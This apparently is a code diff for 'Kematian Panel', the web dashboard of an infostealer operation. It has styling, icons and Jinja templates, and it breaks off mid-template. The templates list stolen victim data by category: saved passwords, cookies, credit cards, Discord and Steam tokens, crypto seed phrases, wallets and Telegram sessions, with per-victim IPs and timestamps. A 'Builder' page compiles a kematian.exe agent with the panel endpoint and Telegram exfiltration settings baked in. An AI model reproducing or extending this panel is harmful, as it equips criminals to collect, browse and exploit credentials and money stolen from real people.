border: 1px solid var(--border-2); cursor: pointer;
background: var(--bg-3); color: var(--text);
transition: background 0.15s, border 0.15s, transform 0.1s;
}
.btn:hover { background: var(--bg-4); }
.btn:active { transform: translateY(1px); }
.btn-primary { background: linear-gradient(135deg, var(--accent-2), var(--accent)); border-color: transparent; color: #fff; }
.btn-primary:hover { background: linear-gradient(135deg, #6d28d9, #9333ea); }
.btn-ghost { background: transparent; }
.btn-sm { padding: 5px 10px; font-size: 12px; }
/* ---------- stat cards ---------- */
.stat-row { display: grid; grid-template-columns: repeat(auto-fit, minmax(220px, 1fr)); gap: 16px; margin-bottom: 20px; }
.stat-card {
background: var(--bg-2);
border: 1px solid var(--border);
border-radius: 16px;
padding: 20px 22px;
display: flex; flex-direction: column; gap: 12px;
position: relative;
overflow: hidden;
}
.stat-card::after {
content: ""; position: absolute; top: 0; right: 0; width: 120px; height: 120px;
background: radial-gradient(circle at top right, var(--accent-dim), transparent 70%);
pointer-events: none;
}
.stat-ico {
width: 46px; height: 46px; border-radius: 13px;
background: linear-gradient(135deg, var(--accent-2), var(--accent));
display: flex; align-items: center; justify-content: center;
}
.stat-ico img { width: 24px; height: 24px; filter: brightness(0) invert(1); }
.stat-num { font-size: 28px; font-weight: 800; letter-spacing: -0.5px; line-height: 1; }
.stat-label { color: var(--muted); font-size: 12.5px; font-weight: 500; }
.stat-trend { align-self: flex-start; font-size: 11px; color: var(--green); font-weight: 600; background: var(--green-dim); padding: 2px 9px; border-radius: 20px; }
.stat-trend.up::before { content: "↑ "; }
/* ---------- type cards grid ---------- */
.grid {
display: grid;
grid-template-columns: repeat(auto-fill, minmax(150px, 1fr));
gap: 12px;
}
.type-card {
display: flex; align-items: center; gap: 12px;
background: var(--bg-2); border: 1px solid var(--border);
border-radius: 12px; padding: 14px;
transition: border 0.15s, transform 0.15s, background 0.15s;
}
.type-card:hover { border-color: var(--accent); transform: translateY(-2px); background: var(--bg-3); }
.type-ico { width: 30px; height: 30px; flex: 0 0 30px; }
.type-label { font-size: 12px; color: var(--muted); font-weight: 500; }
.type-count { font-size: 19px; font-weight: 700; margin-top: 2px; }
/* ---------- charts ---------- */
.charts-row { display: grid; grid-template-columns: 3fr 2fr; gap: 16px; margin-bottom: 20px; }
.charts-row.single { grid-template-columns: 1fr; }
.chart-card { background: var(--bg-2); border: 1px solid var(--border); border-radius: 16px; padding: 20px; }
.chart-card h2 { margin: 0 0 16px; font-size: 15px; font-weight: 700; }
.chart-body { position: relative; min-height: 240px; }
/* ---------- tables ---------- */
.table-card { background: var(--bg-2); border: 1px solid var(--border); border-radius: 16px; overflow: hidden; }
.table-scroll { overflow-x: auto; }
table { width: 100%; border-collapse: collapse; }
th, td { text-align: left; padding: 12px 16px; border-bottom: 1px solid var(--border); font-size: 13px; }
th { font-size: 11px; text-transform: uppercase; letter-spacing: 0.7px; color: var(--muted); background: var(--bg-3); font-weight: 700; }
tbody tr:last-child td { border-bottom: none; }
tbody tr:hover { background: rgba(255, 255, 255, 0.02); }
.empty { text-align: center; color: var(--muted); padding: 30px; font-style: italic; }
.client-link { color: var(--accent); font-weight: 500; }
/* ---------- status chip ---------- */
.chip { display: inline-flex; align-items: center; gap: 5px; padding: 3px 10px; border-radius: 20px; font-size: 11px; font-weight: 600; }
.chip-green { background: var(--green-dim); color: var(--green); }
.chip-red { background: var(--red-dim); color: var(--red); }
.chip-gray { background: var(--bg-4); color: var(--muted); }
/* ---------- secrets ---------- */
.pw { color: var(--accent); cursor: pointer; font-family: var(--mono); font-size: 12px; }
.pw:hover { background: var(--accent-dim); border-radius: 4px; }
.tag { display: inline-block; padding: 2px 9px; border-radius: 20px; background: var(--bg-3); border: 1px solid var(--border-2); font-size: 11px; color: var(--muted); font-weight: 600; }
/* ---------- auth ---------- */
.auth-wrap { display: flex; align-items: center; justify-content: center; min-height: 88vh; }
.auth-card {
width: 380px; background: var(--bg-2); border: 1px solid var(--border);
border-radius: 20px; padding: 38px 36px; display: flex; flex-direction: column;
box-shadow: 0 20px 60px rgba(0, 0, 0, 0.4);
}
.auth-logo {
width: 54px; height: 54px; border-radius: 15px; align-self: center;
background: linear-gradient(135deg, var(--accent-2), var(--accent));
display: flex; align-items: center; justify-content: center;
font-size: 26px; color: #fff; box-shadow: 0 6px 24px rgba(124, 58, 237, 0.5);
}
.auth-card h1 { margin: 16px 0 2px; font-size: 22px; text-align: center; font-weight: 800; }
.auth-sub { text-align: center; color: var(--muted); margin: 0 0 24px; font-size: 13px; }
.auth-card label { font-size: 12px; color: var(--muted); margin: 12px 0 5px; }
.auth-card input {
background: var(--bg-3); border: 1px solid var(--border-2); color: var(--text);
padding: 12px 14px; border-radius: 11px; font-size: 14px; transition: border 0.15s;
}
.auth-card input:focus { outline: none; border-color: var(--accent); }
.auth-card .btn { margin-top: 22px; justify-content: center; }
.auth-link { text-align: center; margin-top: 16px; color: var(--muted); font-size: 12px; }
.auth-link:hover { color: var(--accent); }
/* ---------- search ---------- */
.search-bar { display: flex; gap: 10px; margin-bottom: 20px; }
.search-bar input { flex: 1; background: var(--bg-2); border: 1px solid var(--border-2); color: var(--text); padding: 12px 14px; border-radius: 11px; font-size: 14px; }
.search-bar input:focus { outline: none; border-color: var(--accent); }
/* ---------- builder / fileshare ---------- */
.form-card, .upload-card, .build-progress {
background: var(--bg-2); border: 1px solid var(--border); border-radius: 16px; padding: 22px 24px; margin-bottom: 22px; max-width: 640px;
}
.form-card h2, .upload-card h2, .build-progress h2 { margin: 0 0 16px; font-size: 15px; font-weight: 700; }
.form-card label, .upload-card label { font-size: 12px; color: var(--muted); margin: 12px 0 4px; display: block; }
.form-card input, .upload-card input { width: 100%; background: var(--bg-3); border: 1px solid var(--border-2); color: var(--text); padding: 10px 12px; border-radius: 9px; font-size: 13px; font-family: var(--mono); }
.form-card input:focus, .upload-card input:focus { outline: none; border-color: var(--accent); }
.form-card .hint, .upload-card .hint { font-size: 11px; color: var(--muted); margin: 4px 0 0; }
.form-card .hint code, .upload-card .hint code { color: var(--accent); }
.form-row { display: flex; gap: 12px; }
.form-row > div { flex: 1; }
.form-card .btn, .upload-card .btn { margin-top: 20px; }
.upload-form { display: flex; flex-direction: column; gap: 10px; }
.upload-form input[type="file"] { color: var(--text); background: var(--bg-3); border: 1px solid var(--border-2); border-radius: 9px; padding: 9px 12px; font-size: 13px; }
.upload-form input[type="text"] { max-width: 200px; }
.build-log { font-family: var(--mono); font-size: 12px; background: #05060a; border: 1px solid var(--border); border-radius: 10px; padding: 14px; max-height: 300px; overflow: auto; white-space: pre-wrap; word-break: break-word; color: #c9d1da; }
.build-actions { margin-top: 14px; }
.tag-done { color: var(--green); border-color: rgba(52,211,153,0.3); background: var(--green-dim); }
.tag-running { color: var(--accent); border-color: var(--accent); background: var(--accent-soft); }
.tag-error { color: var(--red); border-color: var(--red); background: var(--red-dim); }
.panel-foot { text-align: center; padding: 16px 12px 20px; }
.panel-foot a { color: var(--muted); font-size: 12px; text-decoration: none; opacity: .75; transition: opacity .15s ease; }
.panel-foot a:hover { opacity: 1; color: var(--accent); }
+1
View File
@@ -0,0 +1 @@
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="#ff3d5a" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="4" width="18" height="10" rx="2"/><path d="M3 18h18M7 21h10"/></svg>

After

Width:  |  Height:  |  Size: 237 B

+1
View File
@@ -0,0 +1 @@
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="#ff3d5a" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="4" width="18" height="14" rx="2"/><path d="M7 18v2h10v-2"/><path d="M8 9h8M8 12h5"/></svg>

After

Width:  |  Height:  |  Size: 259 B

+1
View File
@@ -0,0 +1 @@
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="#ff3d5a" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M6 3h12v18l-6-4-6 4z"/></svg>

After

Width:  |  Height:  |  Size: 192 B

+1
View File
@@ -0,0 +1 @@
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="#ff3d5a" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="2" y="5" width="20" height="14" rx="2"/><path d="M2 10h20"/><path d="M6 15h4"/></svg>

After

Width:  |  Height:  |  Size: 248 B

+1
View File
@@ -0,0 +1 @@
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="#ff3d5a" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M4 11a8 8 0 0 1 16 0v5a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2z"/><circle cx="12" cy="13" r="1.6"/><path d="M10 11v2M14 11v2"/></svg>

After

Width:  |  Height:  |  Size: 286 B

+1
View File
@@ -0,0 +1 @@
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="#a855f7" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="4" width="18" height="16" rx="2"/><path d="M7 15h4M7 10h6"/><path d="M15 8v4h3V8z"/></svg>

After

Width:  |  Height:  |  Size: 259 B

+1
View File
@@ -0,0 +1 @@
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="#ff3d5a" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="8" cy="8" r="3.5"/><circle cx="16" cy="6" r="3"/><circle cx="16" cy="16" r="3.5"/></svg>

After

Width:  |  Height:  |  Size: 254 B

+1
View File
@@ -0,0 +1 @@
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="#ff3d5a" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="7" y="2" width="10" height="20" rx="2.5"/><circle cx="12" cy="12" r="2.5"/><circle cx="12" cy="18" r="1"/><circle cx="10" cy="5.5" r="1"/><circle cx="14" cy="5.5" r="1"/></svg>

After

Width:  |  Height:  |  Size: 339 B

+1
View File
@@ -0,0 +1 @@
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="#ff3d5a" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M14 3H7a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h10a2 2 0 0 0 2-2V8z"/><path d="M14 3v5h5"/><path d="M9 13h6M9 17h6"/></svg>

After

Width:  |  Height:  |  Size: 277 B

+1
View File
@@ -0,0 +1 @@
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="#ff3d5a" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M6 11h4v10H2V11a8 8 0 0 1 16 0"/><path d="M22 11v10h-8"/><circle cx="16" cy="7" r="2"/><path d="M2 15h4M18 15h4"/></svg>

After

Width:  |  Height:  |  Size: 283 B

+1
View File
@@ -0,0 +1 @@
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="#ff3d5a" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="9"/><path d="M12 7v5l3 2"/></svg>

After

Width:  |  Height:  |  Size: 214 B

+1
View File
@@ -0,0 +1 @@
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="#ff3d5a" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="8" cy="15" r="4"/><path d="M10.5 12.5 19 5"/><path d="M16 7l2 2"/><circle cx="18" cy="6" r="1"/></svg>

After

Width:  |  Height:  |  Size: 268 B

+1
View File
@@ -0,0 +1 @@
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="#ff3d5a" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="4" width="18" height="16" rx="2"/><path d="M7 8h4M7 12h4"/><path d="M11 8v8h2a2 2 0 0 0 2-2v-4a2 2 0 0 0-2-2z"/></svg>

After

Width:  |  Height:  |  Size: 287 B

+1
View File
@@ -0,0 +1 @@
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="#ff3d5a" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 3l3 6 6 1-4.5 4.5 1 6L12 17l-5.5 3.5 1-6L3 10l6-1z"/><path d="M12 7l1.5 3 3 .5"/></svg>

After

Width:  |  Height:  |  Size: 254 B

+1
View File
@@ -0,0 +1 @@
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="#ff3d5a" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="9"/><circle cx="12" cy="12" r="3.2"/><path d="M7.5 7.5l3.2 2.2"/><path d="M13 13.5l2 5"/></svg>

After

Width:  |  Height:  |  Size: 276 B

+1
View File
@@ -0,0 +1 @@
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="#ff3d5a" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 13a3 3 0 0 1-3 3H7l-4 3V7a3 3 0 0 1 3-3h12a3 3 0 0 1 3 3z"/><path d="M8 10h.01M12 10h.01M16 10h.01"/></svg>

After

Width:  |  Height:  |  Size: 274 B

+1
View File
@@ -0,0 +1 @@
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="#ff3d5a" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 2l8 5v6c0 5-4 8-8 9-4-1-8-4-8-9V7z"/><path d="M9 12l2 2 4-4"/></svg>

After

Width:  |  Height:  |  Size: 235 B

+1
View File
@@ -0,0 +1 @@
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="#ff3d5a" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="2" y="6" width="20" height="12" rx="2"/><circle cx="12" cy="12" r="2.5"/><path d="M6 12h1M17 12h1"/></svg>

After

Width:  |  Height:  |  Size: 269 B

+35
View File
@@ -0,0 +1,35 @@
// Secret toggle: `.pw` cells are masked by default. A global "Reveal" button
// (`.reveal-all`) toggles visibility. Clicking a `.pw` cell copies its value.
document.addEventListener("DOMContentLoaded", () => {
const mask = (el) => {
if (!el.dataset.real) el.dataset.real = el.textContent;
el.dataset.masked = "";
el.textContent = el.dataset.real.replace(/./g, "•");
};
document.querySelectorAll(".pw").forEach((el) => mask(el));
const revealAll = document.querySelector(".reveal-all");
if (revealAll) {
revealAll.addEventListener("click", () => {
const on = revealAll.dataset.on === "1";
document.querySelectorAll(".pw").forEach((el) => {
if (on) mask(el);
else el.textContent = el.dataset.real || el.textContent;
});
revealAll.dataset.on = on ? "" : "1";
revealAll.textContent = on ? "Reveal secrets" : "Hide secrets";
});
}
document.querySelectorAll(".pw").forEach((el) => {
el.addEventListener("click", () => {
const real = el.dataset.real || el.textContent;
navigator.clipboard?.writeText(real).then(() => {
const prev = el.textContent;
el.textContent = "copied ✓";
setTimeout(() => { el.textContent = prev; }, 700);
}).catch(() => {});
});
});
});
+83
View File
@@ -0,0 +1,83 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>{% block title %}Kematian Panel{% endblock %}</title>
<link rel="preconnect" href="https://fonts.googleapis.com">
<link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600;700;800&display=swap" rel="stylesheet">
<link rel="stylesheet" href="{{ url_for('static', filename='css/style.css') }}">
<script src="{{ url_for('static', filename='js/app.js') }}" defer></script>
{% block head %}{% endblock %}
</head>
<body>
{% if session.get('admin') %}
<aside class="sidebar">
<div class="brand">
<div class="brand-logo"></div>
<div class="brand-name">kematian<span class="brand-dot">panel</span></div>
</div>
<div class="profile">
<div class="profile-avatar">{{ (session['admin'][:1]) | upper }}</div>
<div class="profile-info">
<div class="profile-name">{{ session['admin'] }}</div>
<div class="profile-role">Administrator</div>
</div>
</div>
<div class="nav-group-label">Main Menu</div>
<nav class="nav">
<a href="{{ url_for('dashboard') }}" class="nav-item">
<img src="{{ url_for('static', filename='icons/dash.svg') }}" alt="" class="nav-ico">Dashboard
</a>
<a href="{{ url_for('clients') }}" class="nav-item">
<img src="{{ url_for('static', filename='icons/files.svg') }}" alt="" class="nav-ico">Activity Logs
</a>
<a href="{{ url_for('fileshare') }}" class="nav-item">
<img src="{{ url_for('static', filename='icons/wallet.svg') }}" alt="" class="nav-ico">FileShare
</a>
<a href="{{ url_for('all_loot') }}" class="nav-item">
<img src="{{ url_for('static', filename='icons/files.svg') }}" alt="" class="nav-ico">Loot
</a>
</nav>
<div class="nav-group-label">Data</div>
<nav class="nav">
{% for key, (label, table, icon, title) in categories.items() %}
<a href="{{ url_for('category', key=key) }}" class="nav-item">
<img src="{{ url_for('static', filename='icons/' ~ icon ~ '.svg') }}" alt="" class="nav-ico">{{ label }}
</a>
{% endfor %}
</nav>
<div class="nav-group-label">Settings</div>
<nav class="nav">
<a href="{{ url_for('build_page') }}" class="nav-item">
<img src="{{ url_for('static', filename='icons/key.svg') }}" alt="" class="nav-ico">Builder
</a>
<a href="{{ url_for('search') }}" class="nav-item">
<img src="{{ url_for('static', filename='icons/history.svg') }}" alt="" class="nav-ico">Search
</a>
</nav>
<div class="sidebar-foot">
<div class="online"><span class="online-dot"></span>Online</div>
<div class="foot-user">{{ session['admin'] }}</div>
<a href="{{ url_for('logout') }}" class="logout-btn">Logout</a>
</div>
</aside>
{% endif %}
<div class="main {% if session.get('admin') %}with-sidebar{% endif %}">
{% with messages = get_flashed_messages(with_categories=true) %}
{% for cat, msg in messages %}
<div class="flash flash-{{ cat }}">{{ msg }}</div>
{% endfor %}
{% endwith %}
{% block content %}{% endblock %}
</div>
<footer class="panel-foot">
<a href="https://t.me/electronic_sex" target="_blank" rel="noopener">t.me/electronic_sex</a>
</footer>
</body>
</html>
+95
View File
@@ -0,0 +1,95 @@
{% extends "base.html" %}
{% block title %}Builder · Kematian{% endblock %}
{% block content %}
<div class="page-head">
<div>
<h1>Agent <span class="accent">Builder</span></h1>
<p class="muted">Build a fresh kematian.exe on the server with your panel + Telegram config baked in.</p>
</div>
</div>
{% if error %}
<div class="flash flash-error">{{ error }}</div>
{% endif %}
<form class="build-form" method="post" action="{{ url_for('build_start') }}">
<div class="form-card">
<h2>Target configuration</h2>
<label>Panel endpoint</label>
<input type="text" name="endpoint" value="{{ default_endpoint }}" placeholder="https://mypanel.com" autocomplete="off">
<p class="hint">Panelinizin adresi. `/api/ingest` otomatik eklenir.</p>
<label>Panel auth / ingest key</label>
<input type="text" name="auth" placeholder="kematian-ingest-key-CHANGE-ME" required autocomplete="off">
<p class="hint">Paneldeki <code>PANEL_INGEST_KEY</code> ile aynı olmalı.</p>
<div class="form-row">
<div>
<label>Telegram bot token <span class="muted">(opsiyonel)</span></label>
<input type="text" name="bot_token" placeholder="123456:ABC... . . ." autocomplete="off">
</div>
<div>
<label>Telegram chat ID <span class="muted">(opsiyonel)</span></label>
<input type="text" name="chat_id" placeholder="-100123456" autocomplete="off">
</div>
</div>
<label>Build name</label>
<input type="text" name="build_name" value="kematian" autocomplete="off" style="max-width:260px">
<button type="submit" class="btn btn-primary">Build agent</button>
</div>
</form>
{% if started %}
<div class="build-progress" data-build="{{ started }}">
<h2>Build <span class="mono">#{{ started }}</span></h2>
<div id="build-actions"></div>
</div>
{% endif %}
{% if builds %}
<h2 class="section-title">Recent builds</h2>
<div class="table-card">
<table>
<thead><tr><th>#</th><th>Status</th><th>File</th><th></th></tr></thead>
<tbody>
{% for id, j in builds.items() %}
<tr>
<td class="mono">#{{ id }}</td>
<td><span class="tag tag-{{ j['status'] }}">{{ j['status'] }}</span></td>
<td class="mono">{{ j['exe'] and os.path.basename(j['exe']) or '—' }}</td>
<td>{% if j['exe'] %}<a class="btn btn-ghost btn-sm" href="{{ url_for('build_download', filename=os.path.basename(j['exe'])) }}">Download</a>{% elif j['status'] == 'running' %}<button class="btn btn-ghost btn-sm" onclick="pollStatus({{ id }}, true)">Refresh</button>{% endif %}</td>
</tr>
{% endfor %}
</tbody>
</table>
</div>
{% endif %}
<script>
function pollStatus(id, isRow) {
fetch(`/build/status/${id}`)
.then(r => r.json())
.then(d => {
const actions = document.getElementById("build-actions");
if (!actions) return;
if (d.status === "done" && d.download) {
actions.innerHTML = `<span class="muted">Build finished.</span> <a class="btn btn-primary" href="${d.download}">Download agent</a>`;
} else if (d.status === "error") {
actions.innerHTML = `<span class="flash flash-error">Build failed: ${esc(d.error || "unknown")}</span>`;
} else {
actions.innerHTML = `<span class="muted">Building…</span>`;
}
});
}
function esc(s) {
return String(s).replace(/[&<>"']/g, c => ({'&':'&amp;','<':'&lt;','>':'&gt;','"':'&quot;',"'":'&#39;'}[c]));
}
{% if started %}
setInterval(() => pollStatus({{ started }}), 2000);
pollStatus({{ started }});
{% endif %}
</script>
{% endblock %}
+151
View File
@@ -0,0 +1,151 @@
{% extends "base.html" %}
{% block title %}{{ title }} · Kematian{% endblock %}
{% block content %}
<div class="page-head">
<div>
<h1 class="with-ico"><img src="{{ url_for('static', filename='icons/' ~ icon ~ '.svg') }}" class="head-ico" alt="">{{ label }}</h1>
<p class="muted">{{ title }} · {{ rows|length }} total{% if client_filter %} · <a href="{{ url_for('category', key=key) }}">clear filter</a>{% endif %}</p>
{% if client_filter and key in ['wallets','telegram','gaming','files','keys'] %}
<p class="muted"><a href="{{ url_for('client_loot', client_id=client_filter) }}" class="accent">→ download hosted files for this client</a></p>
{% endif %}
</div>
<div class="head-actions">
{% if key in ['passwords','cookies','autofill','credit_cards','discord_tokens','app_credentials','seeds','steam_tokens'] %}
<button type="button" class="btn btn-ghost reveal-all">Reveal secrets</button>
{% endif %}
<a class="btn btn-ghost" href="{{ url_for('api_raw', key=key) }}{% if client_filter %}?client={{ client_filter }}{% endif %}" target="_blank">Raw JSON</a>
</div>
</div>
<div class="table-card">
<div class="table-scroll">
<table class="cat-table">
<thead>
<tr>
{% if key == 'passwords' %}<th>URL</th><th>Username</th><th>Password</th><th>Browser</th>{% endif %}
{% if key == 'cookies' %}<th>Host</th><th>Name</th><th>Value</th><th>Browser</th>{% endif %}
{% if key == 'autofill' %}<th>Field</th><th>Value</th><th>Browser</th>{% endif %}
{% if key == 'history' %}<th>URL</th><th>Title</th><th>Visits</th><th>Last visit</th>{% endif %}
{% if key == 'bookmarks' %}<th>Name</th><th>URL</th><th>Type</th>{% endif %}
{% if key == 'credit_cards' %}<th>Card</th><th>Holder</th><th>Exp</th><th>Browser</th>{% endif %}
{% if key == 'discord_tokens' %}<th>Token</th><th>Source</th>{% endif %}
{% if key == 'files' %}<th>Name</th><th>Size</th><th>Path</th>{% endif %}
{% if key == 'extensions' %}<th>Name</th><th>Version</th><th>Browser</th><th>ID</th>{% endif %}
{% if key == 'wallets' %}<th>Name</th><th>Type</th><th>Size</th><th>Addresses</th>{% endif %}
{% if key == 'telegram' %}<th>Account</th><th>Files</th><th>Size</th><th>Path</th>{% endif %}
{% if key == 'keys' %}<th>Type</th><th>Name</th><th>Size</th><th>Path</th>{% endif %}
{% if key in ['wallets','telegram','gaming'] %}<th>Files</th>{% endif %}
{% if key == 'app_credentials' %}<th>App</th><th>Host</th><th>Username</th><th>Password</th>{% endif %}
{% if key == 'seeds' %}<th>Phrase</th><th>Source</th><th>Words</th>{% endif %}
{% if key == 'gaming' %}<th>Platform</th><th>Data</th>{% endif %}
{% if key == 'steam_tokens' %}<th>Steam ID</th><th>Token</th>{% endif %}
{% if key == 'vpns' %}<th>VPN</th><th>Data</th>{% endif %}
<th>Client</th>
</tr>
</thead>
<tbody>
{% for r in rows %}
<tr>
{% if key == 'passwords' %}
<td class="mono">{{ r['url'] or '' }}</td>
<td>{{ r['username'] or '' }}</td>
<td class="pw">{{ r['password'] or '' }}</td>
<td>{{ r['browser'] or '' }}</td>
{% endif %}
{% if key == 'cookies' %}
<td class="mono">{{ r['host'] or '' }}</td>
<td class="mono">{{ r['name'] or '' }}</td>
<td class="mono pw">{{ r['value'] or '' }}</td>
<td>{{ r['browser'] or '' }}</td>
{% endif %}
{% if key == 'autofill' %}
<td>{{ r['name'] or '' }}</td>
<td class="pw">{{ r['value'] or '' }}</td>
<td>{{ r['browser'] or '' }}</td>
{% endif %}
{% if key == 'history' %}
<td class="mono">{{ r['url'] or '' }}</td>
<td>{{ r['title'] or '' }}</td>
<td>{{ r['visit_count'] or 0 }}</td>
<td>{{ (r['last_visit_time'] | datetime) if r['last_visit_time'] else '—' }}</td>
{% endif %}
{% if key == 'bookmarks' %}
<td>{{ r['name'] or '' }}</td>
<td class="mono">{{ r['url'] or '' }}</td>
<td>{{ r['type'] or '' }}</td>
{% endif %}
{% if key == 'credit_cards' %}
<td class="pw">{{ r['card_number'] or '' }}</td>
<td>{{ r['name_on_card'] or '' }}</td>
<td>{{ r['expiration_month'] or '?' }}/{{ r['expiration_year'] or '?' }}</td>
<td>{{ r['browser'] or '' }}</td>
{% endif %}
{% if key == 'discord_tokens' %}
<td class="mono pw">{{ r['token'] or '' }}</td>
<td>{{ r['source'] or '' }}</td>
{% endif %}
{% if key == 'files' %}
<td>{{ r['name'] or '' }}</td>
<td>{{ (r['size'] | filesize) }}</td>
<td class="mono">{{ r['path'] or '' }}</td>
{% endif %}
{% if key == 'extensions' %}
<td>{{ r['name'] or '' }}</td>
<td>{{ r['version'] or '' }}</td>
<td>{{ r['browser'] or '' }}</td>
<td class="mono">{{ r['ext_id'] or '' }}</td>
{% endif %}
{% if key == 'wallets' %}
<td>{{ r['name'] or '' }}</td>
<td>{{ r['type'] or '' }}</td>
<td>{{ (r['size'] | filesize) }}</td>
<td class="mono">{{ r['addresses'] or '' }}</td>
{% endif %}
{% if key == 'telegram' %}
<td>{{ r['account'] or '' }}</td>
<td>{{ r['files'] or 0 }}</td>
<td>{{ (r['size'] | filesize) }}</td>
<td class="mono">{{ r['path'] or '' }}</td>
{% endif %}
{% if key == 'keys' %}
<td>{{ r['type'] or '' }}</td>
<td>{{ r['name'] or '' }}</td>
<td>{{ (r['size'] | filesize) }}</td>
<td class="mono">{{ r['path'] or '' }}</td>
{% endif %}
{% if key in ['wallets','telegram','gaming'] %}
<td><a class="btn btn-ghost btn-sm" href="{{ url_for('client_loot', client_id=r.client_id) }}">Download</a></td>
{% endif %}
{% if key == 'app_credentials' %}
<td>{{ r['application'] or '' }}</td>
<td class="mono">{{ r['host'] or '' }}</td>
<td>{{ r['username'] or '' }}</td>
<td class="pw">{{ r['password'] or '' }}</td>
{% endif %}
{% if key == 'seeds' %}
<td class="mono pw">{{ r['phrase'] or '' }}</td>
<td>{{ r['source'] or '' }}</td>
<td>{{ r['words'] or 0 }}</td>
{% endif %}
{% if key == 'gaming' %}
<td>{{ r['platform'] or '' }}</td>
<td class="mono">{{ (r['payload'] or '')[:60] }}{% if r['payload'] and r['payload']|length > 60 %}…{% endif %}</td>
{% endif %}
{% if key == 'steam_tokens' %}
<td class="mono">{{ r['steam_id'] or '' }}</td>
<td class="mono pw">{{ r['token'] or '' }}</td>
{% endif %}
{% if key == 'vpns' %}
<td>{{ r['vpn'] or '' }}</td>
<td class="mono">{{ (r['payload'] or '')[:60] }}{% if r['payload'] and r['payload']|length > 60 %}…{% endif %}</td>
{% endif %}
<td><a href="{{ url_for('client_detail', client_id=r.client_id) }}" class="mono client-link">{{ r.client_id }}</a></td>
</tr>
{% else %}
<tr><td colspan="12" class="empty">No {{ label|lower }} yet.</td></tr>
{% endfor %}
</tbody>
</table>
</div>
</div>
{% endblock %}
+34
View File
@@ -0,0 +1,34 @@
{% extends "base.html" %}
{% block title %}{{ cli.client_id }} · Kematian{% endblock %}
{% block content %}
<div class="page-head">
<div>
<h1 class="mono">{{ cli.client_id }}</h1>
<p class="muted">{{ cli.os or 'Unknown' }} {{ cli.arch or '' }} · v{{ cli.version or '?' }}</p>
</div>
<div class="head-actions">
<a class="btn btn-primary" href="{{ url_for('client_loot', client_id=cli.client_id) }}">Files &amp; Downloads</a>
<a class="btn btn-ghost" href="{{ url_for('clients') }}">Back</a>
</div>
</div>
<div class="stat-row">
<div class="stat-card"><div class="stat-num">{{ cli.ip or '—' }}</div><div class="stat-label">IP</div></div>
<div class="stat-card"><div class="stat-num">{{ cli.total_entries }}</div><div class="stat-label">Entries</div></div>
<div class="stat-card"><div class="stat-num">{{ (cli.first_seen | datetime) if cli.first_seen else '—' }}</div><div class="stat-label">First seen</div></div>
<div class="stat-card"><div class="stat-num">{{ (cli.last_seen | datetime) if cli.last_seen else '—' }}</div><div class="stat-label">Last seen</div></div>
</div>
<h2 class="section-title">Data breakdown</h2>
<div class="grid">
{% for key, s in per_cat.items() %}
<a class="type-card" href="{{ url_for('category', key=key) }}?client={{ cli.client_id }}">
<img src="{{ url_for('static', filename='icons/' ~ s.icon ~ '.svg') }}" class="type-ico" alt="">
<div class="type-body">
<div class="type-label">{{ s.label }}</div>
<div class="type-count">{{ s.count }}</div>
</div>
</a>
{% endfor %}
</div>
{% endblock %}
+34
View File
@@ -0,0 +1,34 @@
{% extends "base.html" %}
{% block title %}Clients · Kematian{% endblock %}
{% block content %}
<div class="page-head">
<div>
<h1>Clients</h1>
<p class="muted">Every agent that has reported in.</p>
</div>
</div>
<div class="table-card">
<table>
<thead>
<tr><th>Client</th><th>OS</th><th>Arch</th><th>Version</th><th>IP</th><th>First seen</th><th>Last seen</th><th>Entries</th></tr>
</thead>
<tbody>
{% for c in clients %}
<tr>
<td><a href="{{ url_for('client_detail', client_id=c.client_id) }}" class="mono">{{ c.client_id }}</a></td>
